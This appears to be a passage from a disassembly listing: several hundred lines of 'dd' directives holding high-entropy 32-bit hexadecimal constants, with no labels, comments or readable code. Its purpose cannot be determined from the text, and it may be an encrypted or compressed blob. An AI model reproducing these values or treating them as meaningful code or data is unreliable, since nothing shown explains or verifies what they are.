		dd 47A8C0A1h, 9DEDCC9Dh, 95C33B79h, 0A7E565EEh,	4273E0D9h
		dd 879278FFh, 26B5ACBEh, 5C404562h, 1D993C61h, 15390FABh
		dd 0C1C320D6h, 5D5A6540h, 0E1135688h, 2F95B5CCh, 0A129F97Ch
		dd 0D79B0FCAh, 0BB07FB21h, 5CA44F94h, 0D66B0193h, 0E0E436BBh
		dd 0ACA277Eh, 63F0BC2Eh, 0AADD0A72h, 52C1BF10h,	0D542E366h
		dd 0CB17B66Ch, 0B392B732h, 2048CDD4h, 3C338CE8h, 7108266Fh
		dd 47139354h, 83BEA4B3h, 0AC24D64Dh, 6B83076Ah,	7E37CAB3h
		dd 1078750h, 9E5005F9h,	0E7CA52EDh, 379E4DD3h, 47162B88h
		dd 9D76975Ch, 0FFC3C7DAh, 9258A1ECh, 23C4A2E2h,	0DAE02ED5h
		dd 0E3DAA65Dh, 6D39273Fh, 23439BDFh, 9BBC739h, 9B7A2071h
		dd 0DFE38D32h, 0DED634D9h, 95D569C5h, 0EC07F470h, 9545093Ah
		dd 5D209CFEh, 21CB250Ch, 786F3575h, 0F49F1B5Dh,	3AB51379h
		dd 0F690BAE0h, 0E625BB95h, 0F8A527B9h, 7D6014F5h, 0BD246CFAh
		dd 348BB306h, 0C1F5CC78h, 64AD3BD8h, 0E4598882h, 0FA321C56h
		dd 1FEFE2D0h, 0F0739E1Ch, 702BD8F7h, 293B441Bh,	5FE71228h
		dd 12BB0C10h, 810CB507h, 0E847DFF7h, 0F41665AAh, 0B7803C90h
		dd 0BF82825Fh, 3F35B79Ah, 0D28D07F3h, 5E4A53Eh,	0D196AB5Eh
		dd 80CBEF15h, 572FF963h, 446C89EEh, 2B3BFEE5h, 79CF2F79h
		dd 0AF83DAB1h, 0D7D51826h, 50C4E886h, 0C00360EBh, 968B8A6Bh
		dd 0A284C16Eh, 2B596FC9h, 0A14DE512h, 8283ED9Bh, 0DE1021CBh
		dd 0C2BB4B10h, 0F3DB741Bh, 8BBB51EDh, 0FF79297Ah, 0AAD0CB68h
		dd 2F4D4F26h, 104DB292h, 7152C00h, 95B42456h, 0BB1EE1B7h
		dd 0E92C9A32h, 8ACCB756h, 37244521h, 5E1D05FDh,	77BDDF96h
		dd 0A004490Ah, 0FBD2129Fh, 8AA7C817h, 0EF68FE98h, 3FE1B220h
		dd 0F9B11F6Eh, 916F17B6h, 0DE2BA79Ah, 85144311h, 0F1F58FD3h
		dd 488053BBh, 0F8DC933Bh, 584EFC98h, 0D9478FE4h, 7FB750A0h
		dd 0A3D605FFh, 7207BDFAh, 234E530Fh, 0EB4FCED8h, 95119B41h
		dd 0E469B084h, 0B97C5CE8h, 61EF9FC7h, 0A936364Ch, 396153FEh
		dd 87FAB0E6h, 18C73A30h, 9C1732FFh, 9BF4F231h, 0A247881Fh
		dd 1D685CBFh, 0E969A380h, 0B43CBC3Eh, 63BD978Dh, 3A66EB2Ah
		dd 2D5C8E5Dh, 0B74306EAh, 0C6A60013h, 0E17B2CBEh, 603F0ADCh
		dd 29FDB604h, 0CA038AD8h, 72823623h, 205786DBh,	3602BB17h
		dd 13B1EDEBh, 0CA071D73h, 0DC989598h, 3FBC03EAh, 9C18129h
		dd 6D30AE36h, 601E9B5Dh, 0D2FCB6BCh, 0DAFB9004h, 40323D2Ch
		dd 0C63D6DCAh, 75B7C905h, 397737B5h, 7A5D3020h,	0A3D2AD30h
		dd 0A61101E3h, 62957DF9h, 37379745h, 0F502E300h, 0F93D9540h
		dd 92124D55h, 94BED8Fh,	7AF2EA26h, 66FE7DE0h, 2F6B6E76h
		dd 0FA0323B6h, 0FFDF5FB8h, 3FA7852Bh, 56CB9272h, 9DD689C6h
		dd 7831EFB2h, 5FE48E0Ch, 0BCB412C6h, 21C21BECh,	189F8EC0h
		dd 0DB9234BAh, 70F96605h, 0A471040Ah, 49DAD0ACh, 0E396F4F4h
		dd 0FEDF8BF2h, 0E1C3A733h, 3C5BBBFBh, 1D23E9AAh, 6D34ECA6h
		dd 0D9E1E7D0h, 132D7E6Bh, 1EF21863h, 0A6100F89h, 0CB96DF62h
		dd 0B3934056h, 0BFB43B3Eh, 32070B84h, 60292527h, 219EBB6Eh
		dd 0CB3D4C59h, 4256938h, 0B937E9B9h, 0BA6E0521h, 3380B716h
		dd 60D6C4CCh, 0F6ED7A04h
		dd 0F5A08D82h, 821C2A08h, 327FA9DBh, 737B6FCFh,	301E0CFAh
		dd 3DEC3909h, 0AEF6AFAFh, 7C279F76h, 0CE455095h, 0A5457C53h
		dd 47137428h, 3A305F53h, 957BB506h, 42A68F4Eh, 72D4E482h
		dd 671232DAh, 7F745039h, 11F347E9h, 0AEDF3426h,	9D0EE9FAh
		dd 0CB3D94C8h, 0FC0339AEh, 8B9EB6B5h, 0AED7113Fh, 78F1E0ECh
		dd 0D1A2FB7Dh, 237E6A18h, 0D8FE0B25h, 0C5B75E6Ah, 0AC133535h
		dd 4AD5441Fh, 14FEC222h, 0CA225347h, 83D2C0B5h,	0E896D538h
		dd 0FA529165h, 617A8746h, 8575E35Fh, 2E5AED66h,	23E5607Eh
		dd 7062A09Ah, 7A2970F3h, 8BE5D1Bh, 0A0E822BDh, 3CF95650h
		dd 84A5883Fh, 62D67EE4h, 6002A0C1h, 0D761DEE0h,	6430DBEDh
		dd 0ADA81E51h, 1B48290Bh, 0CDF56463h, 22C0669h,	253322AFh
		dd 4F2F33A8h, 58B85C25h, 0A48052ECh, 0F60E3AADh, 0BF63A793h
		dd 481BC1DBh, 3C6AE49Fh, 5DA4AED0h, 0C5835BDFh,	0B2B65F89h
		dd 39CE2357h, 0BE25743Ch, 0C4E09D72h, 0ED6A8BFFh, 61D7367Bh
		dd 14B8C22Eh, 0BCB26662h, 87A4CF79h, 93602964h,	0DAD2628Ah
		dd 2F0A64DBh, 0E259881Fh, 603EF91Ch, 1B54EA56h,	0BE811DCEh
		dd 14234019h, 470AAA3Fh, 0D755271h, 0F6AA1831h,	6DB4981Fh
		dd 0D52AC6C5h, 9CFED0BAh, 0C2633329h, 44A8EA0h,	22ED083Bh
		dd 8F06046h, 72FE5B53h,	4C6C1D85h, 0C9EEDE72h, 0FD6CEA8h
		dd 8E0F9063h, 2D75E43h,	0DF20EE2Fh, 4FE4B183h, 0AC1BE430h
		dd 84996151h, 173F4989h, 1EBBA2Dh, 89DA0B9Ah, 0CA2B9F6Ah
		dd 0DDDCE06Ah, 1FAEA6EAh, 82B8508Dh, 4A8E122Eh,	84501513h
		dd 251F23AAh, 71050698h, 0B6CD17EBh, 0EC5E5D87h, 0D7189427h
		dd 0CB0B04C5h, 920294B6h, 71AE99D4h, 46DD1928h,	0EAA9FC3Eh
		dd 0BB008E06h, 617DE42Dh, 6EC7FC57h, 20F127Ah, 2F85A007h
		dd 0CB2236AEh, 9443A74Dh, 0A67548A3h, 0FF97E4h,	0C19F4E50h
		dd 4808B062h, 51F30C88h, 9A902A43h, 444C305Fh, 71AE01E9h
		dd 72363EADh, 51A1C70Ah, 16DE90E4h, 3F507E9Ch, 7FCD1275h
		dd 48F8A9E6h, 78EAAFA7h, 5945DE4Bh, 0BD68E8Fh, 696B504h
		dd 2596C951h, 0C91402B2h, 0F11FDCF4h, 1A2A7B84h, 47FC1D68h
		dd 90221B29h, 3D437A7Dh, 275CCE07h, 8918A31Bh, 0E27CCB4Ch
		dd 0F6D71ABAh, 42BD240Fh, 6FB9BFDBh, 13AB55D9h,	30113255h
		dd 0FA90A89h, 0FBC9FDACh, 663845C2h, 7DC9BAACh,	2598EB88h
		dd 8ECD28F5h, 3C7E156Bh, 0FD3603AAh, 5563771Eh,	0F4190B74h
		dd 9254DEA0h, 0C24858C0h, 2A7CA01Ah, 699B12C2h,	16048FD2h
		dd 6031800Ch, 0D5333CC8h, 32FDF4ABh, 0B8B9C073h, 817329Bh
		dd 0F9331DFCh, 524A0A8Eh, 358A425Ah, 8A5F4A0Ch,	0C7435F68h
		dd 0B6C08B1h, 4E393137h, 54BC1288h, 11F8FEB4h, 0ED9FBDCFh
		dd 53D4FD9Eh, 74B6634Ah, 0F435681Dh, 686337B1h,	407ADAD9h
		dd 49C825C8h, 9A61351Eh, 0F279B87h, 37195CE6h, 83DA4C2Dh
		dd 9181EAB5h, 803F7C0Fh, 85A14AA4h, 0D86C4994h,	568DC6E4h
		dd 42E6ABB4h, 0B9BEA60h, 0AAA5438Ah, 7A1C079Ah,	0FCFE8DF8h
		dd 1D7AA75Eh, 709E2A15h, 0C4A72F53h, 31A29C97h,	8E341B4Bh
		dd 2F296645h, 0A8FD6C8Bh, 0EF859211h, 55A18B7Ch, 9A6643F3h
		dd 0AC151BD0h, 84BADECCh, 0A238A66Dh, 0BF8B7EFEh, 5E095843h
		dd 2A753D7Dh, 1CD86206h, 9AC569F0h, 56A209BBh, 7DAF9D05h
		dd 0E129C14h, 6163F8A5h, 6C53CFE2h, 526481F5h, 9BC0B34Ch
		dd 0B7C21E2Ch, 0CF6ADD3Eh, 37DC427h, 4CA5695Eh,	9F43655Dh
		dd 0AE94EEC7h, 0D981D97Ah, 6B4E20BEh, 0AE2682F9h, 6FB4861Bh
		dd 3AC1401Bh, 0A39A7705h, 0AF655A15h, 86CBC6Ah,	0FC2F3166h
		dd 47525740h, 363D89D7h, 0A595E429h, 2483910Eh,	52B77ABEh
		dd 5098B8FCh, 0DC7D0F74h, 70283984h, 0C23CA7ACh, 997B5E51h
		dd 0C725F9BEh, 0FF03649Dh, 8535D192h, 0AACBF665h, 0C1DF61FBh
		dd 577828B9h, 0C06C9691h, 72AA3ECEh, 0EB01EB4Fh, 7AC84681h
		dd 0DF14A5A4h, 0C18C84A5h, 90A127EEh, 0C5D05B50h, 70B347B1h
		dd 7AAA3C59h, 8CAB1353h, 54590C36h, 60EB50C3h, 3747377Fh
		dd 0D2032082h, 0D4BCAE6Fh, 0DF4CB327h, 0FBAB34ECh, 0E22F4924h
		dd 50D48C2Ch, 0B7BC3D1Dh, 2309305h, 0EFD56262h,	234E5307h
		dd 93C2B6AAh, 5D841283h, 57D1C8A7h, 6008D59Ch, 277F58ECh
		dd 687AFCD8h, 819DC5C4h, 0DA49D86h, 0ADBA07D3h,	68F105FAh
		dd 5752E116h, 0D37DFDBBh, 50627F80h, 6D4DADF1h,	4B839DEDh
		dd 63821106h, 2DFE2DCCh, 40AF382Bh, 0C5A200D5h,	1E20FA29h
		dd 0B00CE776h, 5AF82D79h, 0E4A36DA0h, 0AACEE723h, 5F031F37h
		dd 45B7125Bh, 0EC2E6786h, 0E5907003h, 0B144CE58h, 0D9A52C10h
		dd 381147A0h, 606197EBh, 9345D55Ah, 47154E54h, 254FB53Ah
		dd 0BBF003D0h, 3FCE5DB6h, 3FDFB0B8h, 47917260h,	6D0A0466h
		dd 0D6014021h, 0EABAE32Ch, 9932745Fh, 0B6185B05h, 621EDE8Eh
		dd 1C2BFFF0h, 3753A995h, 0B3225BC7h, 0B84F9869h, 21737847h
		dd 68B14D47h, 1866742Ch, 35C38527h, 743F283Ch, 3EA6A3C0h
		dd 1AD15CAh, 156F5183h,	0DBE669A5h, 8A2C25E2h, 0C729E5ACh
		dd 829AF09Ah, 87E29F5Ch, 15F5F58h, 780E3F60h, 0B598A9BAh
		dd 0B39C2556h, 6F26797Bh, 0B3F6A292h, 0BC16D88Bh, 21221E71h
		dd 8AF5A94h, 9785BDD1h,	762322C2h, 0E88F9514h, 0B863E352h
		dd 0EAA2E82Ch, 1ADA39CCh, 527C068Eh, 528544D4h,	7D05E9A5h
		dd 9F4CE0ACh, 0FFCBA920h, 62A02A02h, 856BCA3Dh,	0E9E9E18Eh
		dd 62DA2946h, 0EDCA25D5h, 0CAEB20F7h, 57BE897Ah, 0DD332F90h
		dd 3A6E2D44h, 0CC21FC25h, 0F638DBFBh, 825ECFE9h, 0B1B26F5Ah
		dd 0C82427FFh, 519A9D9Eh, 48013B8Ah, 1FB755E0h,	0D0F1C926h
		dd 0CD2086A1h, 0D994B19Bh, 9586BAF9h, 49B8B551h, 1DB84C6Ah
		dd 9008037Dh, 15791BF5h, 5D16F0FFh, 572BDC0h, 9D9011DBh
		dd 847D979Fh, 22291E42h, 785221A3h, 0EC6F7778h,	592D9A50h
		dd 0C4FA6032h, 0EA487396h, 0D168AF51h, 94A5EA7Eh, 0A929293Ah
		dd 41C59EC9h, 6C6FE279h, 8379B163h, 7ADFC4B6h, 72DD99FDh
		dd 6B4A96E4h, 35F338FFh, 0C495F2FCh, 0D337AC5Dh, 8AD4C423h
		dd 21332E5Dh, 4B9EE936h, 321DC50Fh, 2E07B989h, 6E890B94h
		dd 78771EB6h, 4F6F5150h, 348A984Ah, 0F2139269h,	0E870A6B5h
		dd 71F5CECAh, 662D8E28h, 10EDEEAFh, 0BCD00005h,	0F6C5ACDFh
		dd 0A5DB3AA9h, 0EB3E5535h, 62797BBBh, 846B35D7h, 4401DF53h
		dd 0A608322Bh, 86EBC530h, 4A6A71D7h, 0D11830ECh, 0FC3A6B80h
		dd 0C36464ECh, 0F0AB3D22h, 3E19D6C7h, 0CF9B9D80h, 143D2F6Bh
		dd 41A7B7E9h, 5CF31C56h, 1D550029h, 1FD06FC0h, 0A9EF5A03h
		dd 0A8882467h, 121BECFBh, 0E1481B0Dh, 605CCE5Dh, 419B5E20h
		dd 63047264h, 0F916B512h, 7AC2F583h, 10B60565h,	0D5F53DC0h
		dd 0B5FB4C1Bh, 1A7C1BA2h, 0B8ACD544h, 0EFFA24BAh, 117C27h
		dd 0D766E3CEh, 0EF4FFE90h, 1728EADEh, 0E67228A9h, 0A8394682h
		dd 9443F034h, 32FACE60h, 0CA22079Eh, 0B69D8040h, 5E2B6886h
		dd 3CEA78D8h, 0E285A896h, 771CED53h, 2AD93FBFh,	0CBC3944Eh
		dd 505D1EE7h, 0D5C582F8h, 558F147Fh, 4816E503h,	0E15BBE27h
		dd 24CD8AD6h, 7A055076h, 2A33D3F9h, 132E7B89h, 0F91E6770h
		dd 0A239286Fh, 62BCA281h, 0E01DC866h, 0B8E20E5Bh, 20C4D3CEh
		dd 0E35289Bh, 0D56E229Ah, 2C5EDADAh, 7904125Fh,	7ED5DAB0h
		dd 329A1226h, 0DEAB0C72h, 693581DFh, 577AAD2Ch,	23027967h
		dd 260570E7h, 78C6A475h
		dd 35F408EBh, 603D398Fh, 0D3B68116h, 1FE5A7B8h,	0F9A02AF7h
		dd 17E5B102h, 0B4FF7902h, 52576E9h, 58C92338h, 0C5A5C3D5h
		dd 3DDCB5ECh, 90212EBAh, 6661236Fh, 2E701B2Fh, 170855A0h
		dd 20B5FA87h, 0BD5F25AAh, 0CC41045h, 61D2FA47h,	0FBA22BB1h
		dd 5F89A90Bh, 0E59C416Bh, 0F1089BEDh, 0DBBAFB47h, 967211D8h
		dd 0F6644351h, 51367893h, 1DF8EED3h, 0BA780C6Ah, 2CC95288h
		dd 0F0582175h, 6A1193BDh, 1462C80h, 9BE8E076h, 0D174CBABh
		dd 0D2CEA367h, 577EB1E1h, 480C595Ch, 8D35C00Fh,	0AD950Eh
		dd 0A0EABF26h, 625DFA4Dh, 6B346662h, 0B9471254h, 2150C60h
		dd 1C0CB90Bh, 0EA825661h, 0BD311801h, 6C3CCB37h, 0FEDB6FDEh
		dd 81818120h, 7137DB18h, 4CA273CBh, 402F0657h, 2254B18Dh
		dd 126593F2h, 70C8F689h, 19E8AB70h, 0BBC44EEEh,	0E9F3AA4Bh
		dd 36570037h, 984EFBCDh, 0DF0B62D7h, 0F4434084h, 0E4C9B7D5h
		dd 0F6AADA81h, 7E6FCEEh, 59FEC33Ah, 0EF75A13h, 6134339Fh
		dd 0AFF134B1h, 0E3E349Bh, 67B1CA68h, 5B1BA384h,	9D3D99C7h
		dd 1D8BE76Ah, 5AB1CB92h, 0ADFF1057h, 83D6736Dh,	36723051h
		dd 4403DDEDh, 79872709h, 587F1C71h, 88AB0F2Ch, 0CF4FF343h
		dd 0F69BCD4Bh, 73CE40AFh, 0B74E6A45h, 4E560373h, 870A6F9Ch
		dd 0AD6AA02h, 9A772353h, 0BBD24486h, 9D6A0C3h, 5E21FAE2h
		dd 8DB547EDh, 0DB4355F3h, 373C3BA5h, 0D480CDE6h, 0FF58C780h
		dd 0D89D8252h, 0DD79C18Eh, 0F6675635h, 324AA168h, 28A7EF33h
		dd 594864D6h, 0FB067A61h, 635576F6h, 2CD89FBDh,	0B018778Fh
		dd 0EAAD81CEh, 0D2B41DB9h, 0D4EBAE43h, 0CFD68BF7h, 750283C4h
		dd 2C42A290h, 0CBD13592h, 20669559h, 0FE460F90h, 6148641Fh
		dd 0CCFFF1A5h, 7884F65Dh, 37D098h, 4FF3E9BFh, 7DE9AD9h
		dd 51B7965Ah, 0B3B6A7Bh, 24BD77E7h, 0A987CEB3h,	4FE58793h
		dd 1E2456B5h, 1E54FA1Bh, 0FBA47B5Bh, 42F42C1Fh,	7815B6Bh
		dd 63D6961Bh, 0BB33AA9Bh, 93242C8Dh, 0BE940EF3h, 8C710A2Eh
		dd 0BA816D6Dh, 0F5C5A7E8h, 9BC64BFBh, 0D377C361h, 0A6A51200h
		dd 9E2954D8h, 0E08B4B86h, 0FDBDCB5Bh, 375A1F7Eh, 2205E4C6h
		dd 8CF7F197h, 9D8CA55Eh, 0EA4E4878h, 56E2E92Ah,	0C83E1C89h
		dd 0CA8BFF7Fh, 3AA21800h, 46DB3D30h, 0F2D13436h, 0ADCC31DEh
		dd 0A9C81D2Eh, 0EC85E518h, 0D474D7E7h, 48A90FACh, 4A0D403Ah
		dd 822B1BD6h, 6DB0226Eh, 68781486h, 0F1649C41h,	3F610719h
		dd 0DC4215ADh, 0FC63CBD2h, 90C56E71h, 0A76F8C01h, 0B611568Ch
		dd 8A8A7457h, 4715210Fh, 6DF01929h, 65AF708Bh, 2A7C8DC4h
		dd 798D966Ch, 79086EBEh, 0A094402h, 0FBCA1532h,	885EDB6Ch
		dd 0CE58C10Ch, 0D73A4146h, 0DC2B52BCh, 660BE0C5h, 0FDF9220Eh
		dd 361C3FC8h, 201E6C1Dh, 97958913h, 0CD15F1F3h,	84E2E2CFh
		dd 0AAD73944h, 34963DB2h, 7F0E2A70h, 0CDF4A97Ch, 194CA935h
		dd 0EBE3E0A3h, 96150173h, 850B4E9Fh, 0C92B6C86h, 0CFA3ABC9h
		dd 287A3A74h, 435FD1F8h, 6F0A1616h, 0B5862917h,	0C208C030h
		dd 15189B07h, 0D1AD4ACFh, 25F05F36h, 7CB90B99h,	98A69185h
		dd 1D34AC2Dh, 0B04FE301h, 350960F7h, 5997DCCDh,	0C8A7338Dh
		dd 0BC0A8674h, 0BED1AF3Ch, 0D6054AA3h, 6FBD7B2Dh, 0D819F748h
		dd 44D12B38h, 546500E2h, 0F7527900h, 0C23CB320h, 19D89ED6h
		dd 9BD44F34h, 0B604C034h, 0E5DE7956h, 0F39FC8E2h, 2C0F7850h
		dd 0A4F411CEh, 0EE95EA75h, 2E8360F8h, 0F90249D2h, 71DF422Eh
		dd 43F2206Fh, 0DDC8E86Dh, 834B852h, 40206E18h, 1836FE4h
		dd 0FBAB9456h, 33C35B58h, 337F9D9Ch, 4ED37472h,	0F6DFD40Ah
		dd 37627960h, 5010F488h, 0B4B06B48h, 17DEA3F5h,	0E3AF0038h
		dd 6D332B2Ah, 509D7825h, 0BA05E7F7h, 2B805AD6h,	0A497499Dh
		dd 598788C3h, 32FB3157h, 3DC8F87Fh, 247EAE50h, 0A61A81E0h
		dd 6D4AAE09h, 29013A75h, 98DE647Eh, 5133952Dh, 0F3526731h
		dd 1207CC0Ch, 0D50F0F8h, 858B5882h, 17337DE0h, 0D92D10E6h
		dd 6CB49668h, 0AC9E9986h, 13317B18h, 1DAA9865h,	9567C86Eh
		dd 0DB016A2Ah, 94FA162h, 2280A9A0h, 0B763F3Ch, 7DF0D375h
		dd 839E8D2Eh, 8B106761h, 0F25FAF06h, 0ADE61E71h, 404659F3h
		dd 4178D7F6h, 1AEE062Ch, 423DA3Eh, 8CCD3838h, 0AFEF627Bh
		dd 4A3DDDCh, 2D3C4BB1h,	0E5FC4DD1h, 0D4128B8Bh,	2F92BBC0h
		dd 3607C9CCh, 6BA2776Dh, 634184EEh, 2FBD2E54h, 839127B3h
		dd 0CC0DA671h, 0FE6C8AE9h, 0E7FBEB3Ch, 78B19AB0h, 0F1F5A08Bh
		dd 0D8C111D1h, 99793947h, 0B8FCD90Dh, 4DF6C01h,	75B8564Ah
		dd 9B860114h, 67B16D8Ch, 3D3C47CDh, 0FE9CA84h, 0F7EBF5Ah
		dd 5F0007ABh, 8DF5EDFCh, 0EB9795A9h, 0B50435AEh, 7B41516Eh
		dd 0CADA4E2Bh, 0F4E63E2Bh, 0E147194Eh, 6FE292C5h, 6C40C11h
		dd 0C9A1AB87h, 2E35072Dh, 49BFA8B9h, 0D46B32D2h, 0AAB56FCh
		dd 9B6002A9h, 0DB82A854h, 5EBC4BA6h, 8A31FC7Bh,	0BFAD10F9h
		dd 4600DB53h, 2D60EACEh, 446F0D36h, 905EA80h, 241B5545h
		dd 170CD6F4h, 0A7BD145Ah, 0EEBBAE80h, 92DD7580h, 6863AF15h
		dd 27DA8A37h, 7D906F5Eh, 219E1BB9h, 0DF67AA62h,	0CF1E4AA7h
		dd 0AC54F1EDh, 796DF963h, 0E4D4D9F8h, 9154D918h, 0CC5857F7h
		dd 0A60C2B34h, 7087DC8Eh, 4F95D5A0h, 0C1070126h, 7E5047CEh
		dd 0C6B52976h, 0E134F897h, 2A6E1B0Ah, 8602BAE7h, 0E0B59C08h
		dd 0CF0867A5h, 9E642A12h, 3BAAED6Dh, 38CA116Dh,	0E04EECF4h
		dd 0C58A9ECFh, 0B8DC335Fh, 706604D2h, 0B15B8E18h, 0EC7C6139h
		dd 784C2930h, 0DEE15867h, 0DBBBC434h, 6D1E256Bh, 0F6AA44AAh
		dd 0E293BA7Fh, 0D2FF0201h, 4647BA5Ah, 0D1A0B801h, 76B04D70h
		dd 316430FFh, 0AD8E8B00h, 64A38E14h, 0E98FE8A8h, 0F96065F6h
		dd 44216EA3h, 0B3E084CEh, 5DD2DD5Ch, 8A5D9763h,	319B2333h
		dd 296093EBh, 24934CBBh, 38554283h, 21A58E06h, 93D4D482h
		dd 0EAB8F7C1h, 0B80343DCh, 90C89336h, 98BAD12Ah, 6A53892Ch
		dd 8A1F5A82h, 0B5745A88h, 0ADCE57ADh, 0C531763Ch, 0D562485Bh
		dd 5AF4EE7Fh, 273560EAh, 6423D836h, 72A5BD88h, 590F91D8h
		dd 0A9173A23h, 66979655h, 0FCA42629h, 9D98BBB9h, 84C02AFAh
		dd 265E0CEDh, 0E331D4CFh, 2A143083h, 0D31841A7h, 0D8C7DDD8h
		dd 46B1EBE8h, 1D41909Fh, 0D0C38145h, 0E4C31FF5h, 824F873Ch
		dd 6B30DF00h, 0A7AC07D3h, 55920FA9h, 0D9455BCDh, 70E07201h
		dd 0AB61CD5h, 7315EC0h,	0E2C6D834h, 3EE14493h, 582A46C4h
		dd 0E6641850h, 9E5084Fh, 32469983h, 60566116h, 0A61804C9h
		dd 0F155CD9Bh, 4BE3F657h, 16486587h, 3424E957h,	0F0E2B179h
		dd 79464CD4h, 2B9CA68Ch, 7E1D5BC9h, 14BA8C22h, 85BE0226h
		dd 5F1F3F96h, 8DC8A8C4h, 3F98FC7Bh, 0FD8FAD0Bh,	1AAD106Ch
		dd 0A7CAC15Bh, 1B9C129Bh, 0DDCC5FA5h, 0C303B675h, 2C3D44DDh
		dd 0E610145Eh, 522F1297h, 1F9FCD75h, 65DBC06Ah,	78DFE6Dh
		dd 0F81EC573h, 17FF1C93h, 6906FAB1h, 0CE3BF251h, 1E2677D4h
		dd 50FE2B8Ah, 6FB746F1h, 0C4C4C623h, 0C19D351Ah, 55C16428h
		dd 4342D911h, 448C9054h, 32EB924Ch, 5850EA1Ah, 0C0DDCDE3h
		dd 2E077B10h, 0DABE0B35h, 0A99ED443h, 24D44496h, 606D631h
		dd 940DA1C1h, 97B7CB13h, 0C9819F3h, 2BED0991h, 0E6C1903Fh
		dd 69128600h, 84BAF832h, 1FA9CC01h, 0B2EECF00h,	2D96FB3Eh
		dd 1B2D6A14h, 0FF99D5D6h, 9FB2C0D3h, 59EE700Eh,	566FF5B5h
		dd 0B5ED2Fh, 0B0BBCA2Fh
		dd 0E06F013Ch, 9B6A799Dh, 34279EC3h, 649B1D42h,	470A80DDh
		dd 84041D46h, 0E6EE91EEh, 0B9FA040Ch, 905A65B8h, 23A28934h
		dd 5EAE4303h, 47ED8EEh,	0E3EEDFA5h, 2739F5C1h, 0BE93A165h
		dd 46A8C339h, 99E821B8h, 0A99CAB5Bh, 4BC2B90Ah,	35EE1919h
		dd 33999B96h, 9E004B1Dh, 10E2E7B6h, 49839BBBh, 0BAB5C705h
		dd 0C9B29077h, 74F585DDh, 0B12BFFD5h, 0B09C1F38h, 430EE3C9h
		dd 9EC656C7h, 717ADF3Ah, 38A61A19h, 0B482C2BEh,	78C40C63h
		dd 38147E81h, 4433D9Fh,	0A77EAA67h, 3FE6166Eh, 0E62B67FFh
		dd 1B909118h, 0C41F763Ah, 880F4362h, 0DAAACA2Fh, 22A6592Eh
		dd 2E8497E3h, 0A4E92169h, 17A48Dh, 0E26CFE42h, 0ADB83386h
		dd 12E4E180h, 0DE5C5ADAh, 0FC0BEA80h, 17AC9670h, 3D4BE979h
		dd 3038CB68h, 19DB41B6h, 0FD643291h, 0BB8EC58Ch, 4D85862Ch
		dd 71076B0Bh, 0A2D2C3D4h, 24F16851h, 7C4ABAh, 1813501Ch
		dd 97740879h, 0ED0F5162h, 7775E6CEh, 97B6F040h,	0C7333E42h
		dd 0BC3C8E18h, 0CA388C66h, 0E8B9846Fh, 3446EE26h, 928C9C7Eh
		dd 0E4816E26h, 0ED40C466h, 4EF47641h, 36BE0766h, 88C40D7Ah
		dd 7040656Ah, 4B16A482h, 874A101h, 0B5E266B2h, 0AED47C58h
		dd 0C48F5C6Dh, 0CC4CA704h, 0FE803D80h, 0D2C17C3Fh, 2F912FD4h
		dd 5C7264C1h, 0D2604188h, 13D0CA1Eh, 68B92D8Eh,	7D04082Fh
		dd 0C8AEEDF5h, 0BF7F4080h, 0DBA78120h, 2B14FEADh, 14137364h
		dd 6FAD4A81h, 3AA87D4Eh, 0C29EA929h, 16740639h,	6F9E6F64h
		dd 21E65BE0h, 7EF1B2CEh, 0C1C04D17h, 0CCEAECC3h, 0BFC79666h
		dd 76747641h, 0AF10DC90h, 0E9477D3Eh, 0F4CB71BCh, 0FAC122DFh
		dd 24425C33h, 0E9E92FD1h, 76EFB6B7h, 50F42835h,	59F6A45Ah
		dd 0B2AE852Dh, 33355DAh, 96684B95h, 0D22D99ACh,	5DBE3637h
		dd 0FFE2EB58h, 0D96A6836h, 0C21BE492h, 2417B760h, 8D664CC1h
		dd 7ED6F8C3h, 3F0E7908h, 0BC2C027Fh, 5052895Bh,	5BE2AF94h
		dd 7640FD97h, 0B0BB22D7h, 9113709Bh, 29260B69h,	494EBB9Dh
		dd 752ACB6Bh, 0AC01D768h, 0FE4355AFh, 0D268F739h, 31732489h
		dd 9A0D0854h, 6FC95BEFh, 1576B03Bh, 545BEF5Ah, 0C1F3E325h
		dd 99ABD0D3h, 6190356Dh, 0B74A41A9h, 0DA5F4457h, 0BA66376Ch
		dd 402BFDE3h, 0E90D08B1h, 0B9A9B600h, 6C68ABB9h, 0CB8D6CF3h
		dd 0E3BFFD21h, 0A9EADDA2h, 9D7CE040h, 436DBB7Bh, 6E56B51Ch
		dd 0EAB60EF7h, 0D97F0A09h, 0ABCB4CD6h, 23801E7Dh, 0E4AEBCB7h
		dd 9D697BA5h, 952B9407h, 5F9F7D70h, 761C1324h, 121843DCh
		dd 744C67F4h, 0C52C81A2h, 0E7BD0FA3h, 75692A70h, 0B854128Ch
		dd 439AA42Dh, 0A075BE28h, 3EB4724h, 7B330ACFh, 3A02EE81h
		dd 46F088C9h, 0C11463BEh, 621FD991h, 0FBB2D51h,	0E0CDE580h
		dd 5EE39EE0h, 8566CFABh, 6DEB182Fh, 0BDE524BDh,	503B1035h
		dd 9257DF4Dh, 61AE187h,	0C669733Fh, 0B3F4CF36h,	0EBD368F9h
		dd 0BAC32D27h, 27AF4C5Ch, 0D3FDA038h, 0F047D277h, 99D142B0h
		dd 76BA5382h, 0BE33B31Dh, 0D2D4B189h, 0A66C4DB6h, 85D7F7FEh
		dd 82938E1h, 0C9F293D0h, 0F14A1A4Eh, 655102ECh,	6313B75Bh
		dd 2CB8FCC3h, 0AF120864h, 71F2955h, 4E45668Ch, 6ADF5B95h
		dd 184CDCB7h, 0EAD1CB9Fh, 6637F83Fh, 0BE49E9BEh, 2D8DAFC0h
		dd 58F3AD7Ah, 0A0D3A7F6h, 0F458699Ah, 13852CFAh, 7207FA71h
		dd 0DB99BCB1h, 494BC65Bh, 8D08C1D8h, 0D0513250h, 0F69B4E9h
		dd 71793416h, 0D9332665h, 5AAFC8DBh, 7C5D9F55h,	3322F6AAh
		dd 0EB0AB6A8h, 0DC92EB9Ch, 0D8FFE4CCh, 4307D30h, 26A984AAh
		dd 0DFCF8F13h, 99B40E02h, 0BF14A198h, 0E53A04BAh, 705C2EADh
		dd 601D47AFh, 243CA108h, 0A95EE106h, 926F1DDh, 0E2E0B339h
		dd 0DE9899F9h, 0A0BB2CF6h, 7F7C8532h, 0BE7056D3h, 8B8F1D56h
		dd 74D4DD45h, 5C694089h, 4F8D49F3h, 181516E4h, 318E2D77h
		dd 0CF3AFE85h, 0A04A772Ah, 50C976BAh, 0DDDA81CEh, 0F1577281h
		dd 707FBFB6h, 72DC9FE6h, 76CAD0AFh, 0D2EAC9F3h,	0DC1AB512h
